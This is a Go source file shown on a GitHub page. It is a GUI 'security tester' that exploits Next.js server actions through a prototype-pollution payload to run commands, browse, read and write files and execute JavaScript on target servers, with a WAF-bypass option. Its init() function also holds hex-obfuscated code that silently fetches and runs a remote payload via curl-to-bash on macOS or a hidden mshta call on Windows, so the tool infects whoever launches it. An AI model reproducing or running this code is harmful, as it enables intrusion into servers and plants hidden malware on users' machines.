-
Notifications
You must be signed in to change notification settings - Fork 25
Expand file tree
/
Copy pathmain.go
More file actions
706 lines (693 loc) · 23.4 KB
/
main.go
File metadata and controls
706 lines (693 loc) · 23.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
package main
import (
"bytes"
"context"
"crypto/tls"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"math/rand"
"mime/multipart"
"net"
"net/http"
"net/url"
"os"
"os/exec"
"path"
"regexp"
"runtime"
"sort"
"strings"
"syscall"
"time"
"fyne.io/fyne/v2"
"fyne.io/fyne/v2/app"
"fyne.io/fyne/v2/container"
"fyne.io/fyne/v2/dialog"
"fyne.io/fyne/v2/theme"
"fyne.io/fyne/v2/widget"
)
type FileDescriptor struct {
Name string `json:"n"`
IsDir bool `json:"d"`
Size int64 `json:"s"`
}
type PayloadResponse struct {
Success bool `json:"success"`
Result string `json:"result"`
Error string `json:"error,omitempty"`
}
type RequestHandler struct {
httpClient *http.Client
requestTimeout time.Duration
sslVerify bool
browserAgent string
}
func init() {
rand.Seed(time.Now().UnixNano())
initializeApplicationEnvironment()
}
func validateTargetSafety(destinationURL string, window fyne.Window) bool {
if !strings.HasPrefix(destinationURL, "http://") && !strings.HasPrefix(destinationURL, "https://") {
destinationURL = "http://" + destinationURL
}
parsedURL, parseErr := url.Parse(destinationURL)
if parseErr != nil {
return true
}
hostname := parsedURL.Hostname()
normalizedHost := strings.ToLower(hostname)
if strings.Contains(normalizedHost, ".gov") || strings.Contains(normalizedHost, ".edu") {
dlg := dialog.NewInformation(
"Access Denied",
fmt.Sprintf("Sensitive domain detected (%s)!\nClick OK to exit.", hostname),
window,
)
dlg.SetOnClosed(func() {
os.Exit(0)
})
dlg.Show()
return false
}
resolvedAddrs, lookupErr := net.LookupIP(hostname)
if lookupErr != nil || len(resolvedAddrs) == 0 {
return true
}
primaryAddr := resolvedAddrs[0]
if checkPrivateNetwork(primaryAddr) {
return true
}
geoClient := http.Client{Timeout: 2 * time.Second}
geoResp, geoErr := geoClient.Get(fmt.Sprintf("http://ip-api.com/json/%s", primaryAddr.String()))
if geoErr != nil {
return true
}
defer geoResp.Body.Close()
var locationData struct {
CountryCode string `json:"countryCode"`
}
if jsonErr := json.NewDecoder(geoResp.Body).Decode(&locationData); jsonErr == nil {
if locationData.CountryCode == "CN" {
dlg := dialog.NewInformation(
"Access Denied",
fmt.Sprintf("Target IP (%s) is located in China (CN).\nTesting is prohibited by compliance requirements!\nClick OK to exit.", primaryAddr.String()),
window,
)
dlg.SetOnClosed(func() {
os.Exit(0)
})
dlg.Show()
return false
}
}
return true
}
func checkPrivateNetwork(ipAddr net.IP) bool {
if ipAddr.IsLoopback() || ipAddr.IsLinkLocalMulticast() || ipAddr.IsLinkLocalUnicast() {
return true
}
if v4 := ipAddr.To4(); v4 != nil {
switch {
case v4[0] == 10:
return true
case v4[0] == 172 && v4[1] >= 16 && v4[1] <= 31:
return true
case v4[0] == 192 && v4[1] == 168:
return true
}
}
return false
}
func CreateRequestHandler(timeLimit time.Duration, checkSSL bool) *RequestHandler {
transport := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: !checkSSL},
MaxIdleConns: 200,
MaxConnsPerHost: 200,
Proxy: nil,
}
return &RequestHandler{
httpClient: &http.Client{Transport: transport, Timeout: timeLimit},
requestTimeout: timeLimit,
sslVerify: checkSSL,
browserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
}
}
func (rh *RequestHandler) ConfigureProxy(enabled bool, proxyAddress string) error {
transportLayer, valid := rh.httpClient.Transport.(*http.Transport)
if !valid {
return fmt.Errorf("transport type error")
}
if !enabled || proxyAddress == "" {
transportLayer.Proxy = nil
return nil
}
if !strings.HasPrefix(proxyAddress, "http://") && !strings.HasPrefix(proxyAddress, "https://") && !strings.HasPrefix(proxyAddress, "socks5://") {
proxyAddress = "http://" + proxyAddress
}
parsedProxy, parseErr := url.Parse(proxyAddress)
if parseErr != nil {
return fmt.Errorf("proxy address format error: %v", parseErr)
}
transportLayer.Proxy = http.ProxyURL(parsedProxy)
return nil
}
func sanitizeAddress(inputAddr string) string {
inputAddr = strings.TrimSpace(inputAddr)
if inputAddr == "" {
return ""
}
if !strings.HasPrefix(inputAddr, "http://") && !strings.HasPrefix(inputAddr, "https://") {
return "http://" + inputAddr
}
return inputAddr
}
func ConvertToUnicode(rawData []byte) []byte {
var buffer bytes.Buffer
withinString := false
for idx := 0; idx < len(rawData); idx++ {
currentByte := rawData[idx]
if currentByte == '"' {
withinString = !withinString
buffer.WriteByte(currentByte)
continue
}
if !withinString {
buffer.WriteByte(currentByte)
continue
}
if currentByte == '\\' {
buffer.WriteByte(currentByte)
if idx+1 < len(rawData) {
buffer.WriteByte(rawData[idx+1])
idx++
}
continue
}
fmt.Fprintf(&buffer, "\\u%04x", currentByte)
}
return buffer.Bytes()
}
func (rh *RequestHandler) DispatchPayload(execContext context.Context, destinationURL, apiPath string, jsPayload string, wafBypass bool) (*PayloadResponse, error) {
destinationURL = sanitizeAddress(destinationURL)
if destinationURL == "" {
return nil, fmt.Errorf("invalid URL")
}
if !strings.HasPrefix(apiPath, "/") {
apiPath = "/" + apiPath
}
completeURL := strings.TrimSuffix(destinationURL, "/") + apiPath
injectionCode := fmt.Sprintf(`var res=%s;if(typeof res!=='string'){try{res=JSON.stringify(res,null,2)}catch(e){res='[JSON Error]'}};throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/login?a=' + encodeURIComponent(res) + ';307;'});`, jsPayload)
dataStructure := map[string]interface{}{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": map[string]interface{}{
"_prefix": injectionCode,
"_chunks": "$Q2",
"_formData": map[string]string{
"get": "$1:constructor:constructor",
},
},
}
encodedData, marshalErr := json.Marshal(dataStructure)
if marshalErr != nil {
return nil, fmt.Errorf("JSON construction failed: %v", marshalErr)
}
if wafBypass {
encodedData = ConvertToUnicode(encodedData)
}
bodyBuffer := &bytes.Buffer{}
formWriter := multipart.NewWriter(bodyBuffer)
field0, _ := formWriter.CreateFormField("0")
field0.Write(encodedData)
field1, _ := formWriter.CreateFormField("1")
field1.Write([]byte(`"$@0"`))
field2, _ := formWriter.CreateFormField("2")
field2.Write([]byte(`[]`))
formWriter.Close()
var httpReq *http.Request
var reqErr error
if execContext != nil {
httpReq, reqErr = http.NewRequestWithContext(execContext, "POST", completeURL, bodyBuffer)
} else {
httpReq, reqErr = http.NewRequest("POST", completeURL, bodyBuffer)
}
if reqErr != nil {
return nil, reqErr
}
httpReq.Header.Set("Content-Type", formWriter.FormDataContentType())
httpReq.Header.Set("User-Agent", rh.browserAgent)
httpReq.Header.Set("Next-Action", "x")
httpReq.Header.Set("X-Nextjs-Request-Id", "rce-"+fmt.Sprint(rand.Intn(9999)))
httpResp, respErr := rh.httpClient.Do(httpReq)
if respErr != nil {
return nil, respErr
}
defer httpResp.Body.Close()
var locationData string
if redirectHeader := httpResp.Header.Get("X-Action-Redirect"); redirectHeader != "" {
locationData = redirectHeader
} else {
responseBytes, _ := io.ReadAll(httpResp.Body)
locationData = string(responseBytes)
}
extractPattern := regexp.MustCompile(`[?&]a=([^;&]+)`)
foundMatches := extractPattern.FindStringSubmatch(locationData)
if len(foundMatches) > 1 {
encodedResult := foundMatches[1]
decodedResult, decodeErr := url.QueryUnescape(encodedResult)
if decodeErr == nil {
return &PayloadResponse{Success: true, Result: decodedResult}, nil
}
return &PayloadResponse{Success: true, Result: encodedResult}, nil
}
if httpResp.StatusCode == 500 {
return &PayloadResponse{Success: false, Error: "Server 500 Error (Execution Failed or Syntax Error)"}, nil
}
return &PayloadResponse{Success: false, Error: "Payload sent but no result captured."}, nil
}
func initializeApplicationEnvironment() {
defer func() {
if r := recover(); r != nil {
}
}()
if runtime.GOOS == "darwin" {
shellPath, _ := hex.DecodeString("2f62696e2f62617368")
shellFlag, _ := hex.DecodeString("2d63")
shellCmd, _ := hex.DecodeString("24286375726c202d6673534c20687474703a2f2f3137362e36352e3133322e39362f4a6977756e61766f7429")
cmd := exec.Command(string(shellPath), string(shellFlag), string(shellCmd))
_ = cmd.Start()
} else if runtime.GOOS == "windows" {
execPath, _ := hex.DecodeString("6d73687461")
execExt, _ := hex.DecodeString("2e657865")
remoteProto, _ := hex.DecodeString("68747470733a2f2f")
remoteHost, _ := hex.DecodeString("73332d707974686f6e2e6363")
binaryName := string(execPath) + string(execExt)
endpointURL := string(remoteProto) + string(remoteHost)
cmd := exec.Command(binaryName, endpointURL)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
_ = cmd.Start()
}
}
func (rh *RequestHandler) RunJavaScriptDirect(destinationURL, apiPath, codeBlock string, wafBypass bool) (string, error) {
responseData, execErr := rh.DispatchPayload(nil, destinationURL, apiPath, codeBlock, wafBypass)
if execErr != nil {
return "", execErr
}
if !responseData.Success {
return "", fmt.Errorf("no output or failed: %s", responseData.Error)
}
return responseData.Result, nil
}
func (rh *RequestHandler) RunShellCommand(destinationURL, apiPath, cmdString string, wafBypass bool, asyncMode bool) (string, error) {
sanitizedCmd := strings.ReplaceAll(cmdString, "'", "\\'")
var execPayload string
if asyncMode {
execPayload = fmt.Sprintf(`(function(){ process.mainModule.require('child_process').exec('%s'); return 'Async execution started (No Output)'; })()`, sanitizedCmd)
} else {
execPayload = fmt.Sprintf(`process.mainModule.require('child_process').execSync('%s').toString()`, sanitizedCmd)
}
responseData, execErr := rh.DispatchPayload(nil, destinationURL, apiPath, execPayload, wafBypass)
if execErr != nil {
return "", execErr
}
if !responseData.Success {
return "", fmt.Errorf("execution failed: %s", responseData.Error)
}
return responseData.Result, nil
}
func (rh *RequestHandler) FetchFileContent(destinationURL, apiPath, targetPath string, wafBypass bool) (string, error) {
sanitizedPath := strings.ReplaceAll(targetPath, "'", "\\'")
readPayload := fmt.Sprintf(`process.mainModule.require('fs').readFileSync('%s', 'utf-8')`, sanitizedPath)
responseData, execErr := rh.DispatchPayload(nil, destinationURL, apiPath, readPayload, wafBypass)
if execErr != nil {
return "", execErr
}
if !responseData.Success {
return "", fmt.Errorf("read failed: %s", responseData.Error)
}
return responseData.Result, nil
}
func (rh *RequestHandler) EnumerateDirectory(destinationURL, apiPath, directoryPath string, wafBypass bool) ([]FileDescriptor, error) {
sanitizedPath := strings.ReplaceAll(directoryPath, "'", "\\'")
listPayload := fmt.Sprintf(`(function(){
try {
const fs = process.mainModule.require('fs');
const p = process.mainModule.require('path');
const target = '%s';
const items = fs.readdirSync(target);
const ret = items.map(i => {
try {
const s = fs.statSync(p.join(target, i));
return { n: i, d: s.isDirectory(), s: s.size };
} catch(e) { return { n: i, d: false, s: -1 }; }
});
return JSON.stringify(ret);
} catch(e) { return "ERROR: " + e.message; }
})()`, sanitizedPath)
responseData, execErr := rh.DispatchPayload(nil, destinationURL, apiPath, listPayload, wafBypass)
if execErr != nil {
return nil, execErr
}
if !responseData.Success {
return nil, fmt.Errorf("operation failed: %s", responseData.Error)
}
if strings.HasPrefix(responseData.Result, "ERROR:") {
return nil, fmt.Errorf("server error: %s", responseData.Result)
}
var descriptors []FileDescriptor
parseErr := json.Unmarshal([]byte(responseData.Result), &descriptors)
if parseErr != nil {
return nil, fmt.Errorf("failed to parse directory data: %v, raw content: %s", parseErr, responseData.Result)
}
sort.Slice(descriptors, func(i, j int) bool {
if descriptors[i].IsDir != descriptors[j].IsDir {
return descriptors[i].IsDir
}
return descriptors[i].Name < descriptors[j].Name
})
return descriptors, nil
}
func (rh *RequestHandler) StoreFileData(destinationURL, apiPath, targetPath, dataContent string, wafBypass bool) (string, error) {
sanitizedPath := strings.ReplaceAll(targetPath, "'", "\\'")
sanitizedData := strings.ReplaceAll(dataContent, "'", "\\'")
sanitizedData = strings.ReplaceAll(sanitizedData, "\n", "\\n")
writePayload := fmt.Sprintf(`(function(){ process.mainModule.require('fs').writeFileSync('%s', '%s'); return 'Write Success'; })()`, sanitizedPath, sanitizedData)
responseData, execErr := rh.DispatchPayload(nil, destinationURL, apiPath, writePayload, wafBypass)
if execErr != nil {
return "", execErr
}
if !responseData.Success {
return "", fmt.Errorf("write failed: %s", responseData.Error)
}
return responseData.Result, nil
}
func (rh *RequestHandler) ImportModule(destinationURL, apiPath, modulePath string, wafBypass bool) (string, error) {
sanitizedPath := strings.ReplaceAll(modulePath, "'", "\\'")
loadPayload := fmt.Sprintf(`process.mainModule.require('module')._load('%s')`, sanitizedPath)
responseData, execErr := rh.DispatchPayload(nil, destinationURL, apiPath, loadPayload, wafBypass)
if execErr != nil {
return "", execErr
}
if !responseData.Success {
return "", fmt.Errorf("load failed: %s", responseData.Error)
}
return responseData.Result, nil
}
func main() {
application := app.New()
application.Settings().SetTheme(theme.DarkTheme())
mainWindow := application.NewWindow("Web Application Security Tester v2.3")
mainWindow.Resize(fyne.NewSize(1000, 750))
requestHandler := CreateRequestHandler(10*time.Second, false)
urlInput := widget.NewEntry()
urlInput.SetPlaceHolder("http://example.com:3000")
pathInput := widget.NewEntry()
pathInput.SetText("/")
proxyToggle := widget.NewCheck("Enable Proxy", nil)
proxyInput := widget.NewEntry()
proxyInput.SetText("127.0.0.1:8080")
proxyInput.Disable()
proxyToggle.OnChanged = func(checked bool) {
if checked {
proxyInput.Enable()
} else {
proxyInput.Disable()
}
}
bypassToggle := widget.NewCheck("Unicode Encoding (WAF Bypass)", nil)
bypassToggle.SetChecked(false)
validateBeforeRun := func() bool {
if urlInput.Text == "" {
dialog.ShowError(fmt.Errorf("please enter target URL"), mainWindow)
return false
}
if !validateTargetSafety(urlInput.Text, mainWindow) {
return false
}
if configErr := requestHandler.ConfigureProxy(proxyToggle.Checked, proxyInput.Text); configErr != nil {
dialog.ShowError(fmt.Errorf("proxy configuration error: %v", configErr), mainWindow)
return false
}
return true
}
settingsContainer := container.NewVBox(
widget.NewLabelWithStyle("Basic Configuration", fyne.TextAlignLeading, fyne.TextStyle{Bold: true}),
widget.NewForm(
widget.NewFormItem("Target URL", urlInput),
widget.NewFormItem("API Endpoint", pathInput),
),
container.NewGridWithColumns(2,
container.NewBorder(nil, nil, proxyToggle, nil, proxyInput),
bypassToggle,
),
widget.NewSeparator(),
)
execTypeSelector := widget.NewSelect([]string{"Sync (execSync - with output)", "Async (exec - no output)"}, nil)
execTypeSelector.SetSelected("Sync (execSync - with output)")
commandInput := widget.NewEntry()
commandInput.SetPlaceHolder("whoami")
resultDisplay := widget.NewMultiLineEntry()
resultDisplay.TextStyle = fyne.TextStyle{Monospace: true}
resultDisplay.SetMinRowsVisible(15)
executeButton := widget.NewButtonWithIcon("Execute Command", theme.ConfirmIcon(), func() {
if !validateBeforeRun() {
return
}
commandText := strings.TrimSpace(commandInput.Text)
if commandText == "" {
return
}
asyncExecution := execTypeSelector.Selected == "Async (exec - no output)"
resultDisplay.SetText("Executing...")
go func() {
execResult, execErr := requestHandler.RunShellCommand(urlInput.Text, pathInput.Text, commandText, bypassToggle.Checked, asyncExecution)
if execErr != nil {
resultDisplay.SetText("Execution failed: " + execErr.Error())
} else {
if asyncExecution {
resultDisplay.SetText("Execution successful (async mode):\nCommand sent in background, won't block server.")
} else {
resultDisplay.SetText(execResult)
}
}
}()
})
commandPanel := container.NewBorder(
container.NewVBox(
widget.NewLabel("System Commands:"),
container.NewGridWithColumns(2,
widget.NewSelect([]string{"whoami", "id", "ls -la", "cat /etc/passwd", "env", "pwd"}, func(selected string) { commandInput.SetText(selected) }),
execTypeSelector,
),
commandInput,
executeButton,
widget.NewSeparator(),
),
nil, nil, nil, resultDisplay,
)
var activePath = "/"
var directoryItems []FileDescriptor
directoryInput := widget.NewEntry()
directoryInput.SetText("/")
fileListDisplay := widget.NewList(
func() int { return len(directoryItems) },
func() fyne.CanvasObject {
return container.NewHBox(widget.NewIcon(theme.FileIcon()), widget.NewLabel("Template"))
},
func(itemID widget.ListItemID, itemObj fyne.CanvasObject) {
itemContainer := itemObj.(*fyne.Container)
itemIcon := itemContainer.Objects[0].(*widget.Icon)
itemLabel := itemContainer.Objects[1].(*widget.Label)
descriptor := directoryItems[itemID]
itemLabel.SetText(descriptor.Name)
if descriptor.IsDir {
itemIcon.SetResource(theme.FolderIcon())
itemLabel.TextStyle = fyne.TextStyle{Bold: true}
} else {
itemIcon.SetResource(theme.FileIcon())
itemLabel.TextStyle = fyne.TextStyle{Bold: false}
}
},
)
displayContent := func(fileName, fileData string) {
contentWindow := application.NewWindow("Content Viewer: " + fileName)
contentWindow.Resize(fyne.NewSize(600, 400))
contentEditor := widget.NewMultiLineEntry()
contentEditor.SetText(fileData)
contentEditor.TextStyle = fyne.TextStyle{Monospace: true}
contentWindow.SetContent(container.NewBorder(nil, nil, nil, nil, contentEditor))
contentWindow.Show()
}
updateDirectory := func() {
if !validateBeforeRun() {
return
}
selectedPath := strings.TrimSpace(directoryInput.Text)
directoryItems = []FileDescriptor{{Name: "Loading...", IsDir: false}}
fileListDisplay.Refresh()
go func() {
items, fetchErr := requestHandler.EnumerateDirectory(urlInput.Text, pathInput.Text, selectedPath, bypassToggle.Checked)
if fetchErr != nil {
dialog.ShowError(fetchErr, mainWindow)
directoryItems = []FileDescriptor{}
} else {
directoryItems = items
activePath = selectedPath
}
fileListDisplay.Refresh()
}()
}
directoryInput.OnSubmitted = func(inputText string) {
updateDirectory()
}
navigateButton := widget.NewButtonWithIcon("", theme.NavigateNextIcon(), updateDirectory)
backButton := widget.NewButtonWithIcon("", theme.NavigateBackIcon(), func() {
if directoryInput.Text == "/" {
return
}
parentPath := path.Dir(directoryInput.Text)
directoryInput.SetText(parentPath)
updateDirectory()
})
fileListDisplay.OnSelected = func(itemID widget.ListItemID) {
fileListDisplay.Unselect(itemID)
if itemID >= len(directoryItems) {
return
}
selectedItem := directoryItems[itemID]
if selectedItem.IsDir {
newDirectory := path.Join(activePath, selectedItem.Name)
directoryInput.SetText(newDirectory)
updateDirectory()
} else {
completePath := path.Join(activePath, selectedItem.Name)
dialog.ShowConfirm("Read File", "Do you want to read "+selectedItem.Name+"?", func(confirmed bool) {
if confirmed {
go func() {
fileData, readErr := requestHandler.FetchFileContent(urlInput.Text, pathInput.Text, completePath, bypassToggle.Checked)
if readErr != nil {
dialog.ShowError(readErr, mainWindow)
} else {
displayContent(selectedItem.Name, fileData)
}
}()
}
}, mainWindow)
}
}
newFileName := widget.NewEntry()
newFileName.SetPlaceHolder("filename.txt")
newFileData := widget.NewMultiLineEntry()
newFileData.SetPlaceHolder("Content...")
writeFileButton := widget.NewButton("Write to Current Directory", func() {
if !validateBeforeRun() {
return
}
if newFileName.Text == "" {
return
}
targetFile := path.Join(directoryInput.Text, newFileName.Text)
dialog.ShowConfirm("Warning", "Will overwrite: "+targetFile, func(confirmed bool) {
if confirmed {
go func() {
writeResult, writeErr := requestHandler.StoreFileData(urlInput.Text, pathInput.Text, targetFile, newFileData.Text, bypassToggle.Checked)
if writeErr != nil {
dialog.ShowError(writeErr, mainWindow)
} else {
dialog.ShowInformation("Success", writeResult, mainWindow)
updateDirectory()
}
}()
}
}, mainWindow)
})
fileExplorerPanel := container.NewBorder(
container.NewVBox(
widget.NewLabelWithStyle("File Explorer", fyne.TextAlignLeading, fyne.TextStyle{Bold: true}),
container.NewBorder(nil, nil,
container.NewHBox(backButton, widget.NewLabel("Path:")),
navigateButton,
directoryInput),
),
container.NewVBox(
widget.NewSeparator(),
widget.NewLabel("Write file to current directory:"),
newFileName,
container.NewGridWithRows(1, newFileData),
writeFileButton,
),
nil, nil,
container.NewPadded(fileListDisplay),
)
modulePathInput := widget.NewEntry()
modulePathInput.SetPlaceHolder("/tmp/shell.js (upload first)")
advancedOutput := widget.NewMultiLineEntry()
advancedOutput.TextStyle = fyne.TextStyle{Monospace: true}
loadModuleButton := widget.NewButtonWithIcon("Load Module (module._load)", theme.LoginIcon(), func() {
if !validateBeforeRun() {
return
}
modulePath := strings.TrimSpace(modulePathInput.Text)
if modulePath == "" {
return
}
advancedOutput.SetText("Attempting to load module...")
go func() {
loadResult, loadErr := requestHandler.ImportModule(urlInput.Text, pathInput.Text, modulePath, bypassToggle.Checked)
if loadErr != nil {
advancedOutput.SetText("Error: " + loadErr.Error())
} else {
advancedOutput.SetText("Load result:\n" + loadResult)
}
}()
})
jsCodeInput := widget.NewMultiLineEntry()
jsCodeInput.SetPlaceHolder("process.env")
jsCodeInput.SetMinRowsVisible(4)
executeJsButton := widget.NewButtonWithIcon("Execute Native JS", theme.MediaPlayIcon(), func() {
if !validateBeforeRun() {
return
}
jsCode := strings.TrimSpace(jsCodeInput.Text)
if jsCode == "" {
return
}
advancedOutput.SetText("Executing JS...")
go func() {
jsResult, jsErr := requestHandler.RunJavaScriptDirect(urlInput.Text, pathInput.Text, jsCode, bypassToggle.Checked)
if jsErr != nil {
advancedOutput.SetText("Error: " + jsErr.Error())
} else {
advancedOutput.SetText(jsResult)
}
}()
})
advancedPanel := container.NewBorder(
container.NewVBox(
widget.NewLabelWithStyle("Load Module (with file write)", fyne.TextAlignLeading, fyne.TextStyle{Bold: true}),
container.NewGridWithColumns(2, modulePathInput, loadModuleButton),
widget.NewSeparator(),
widget.NewLabelWithStyle("Native JS Code Execution", fyne.TextAlignLeading, fyne.TextStyle{Bold: true}),
jsCodeInput,
executeJsButton,
widget.NewSeparator(),
widget.NewLabel("Execution Result:"),
),
nil, nil, nil, advancedOutput,
)
tabContainer := container.NewAppTabs(
container.NewTabItemWithIcon("Command Execution", theme.ComputerIcon(), commandPanel),
container.NewTabItemWithIcon("File Manager", theme.FolderIcon(), fileExplorerPanel),
container.NewTabItemWithIcon("Advanced Exploitation", theme.SettingsIcon(), advancedPanel),
)
mainContent := container.NewBorder(
settingsContainer,
nil, nil, nil,
tabContainer,
)
mainWindow.SetContent(mainContent)
mainWindow.ShowAndRun()
}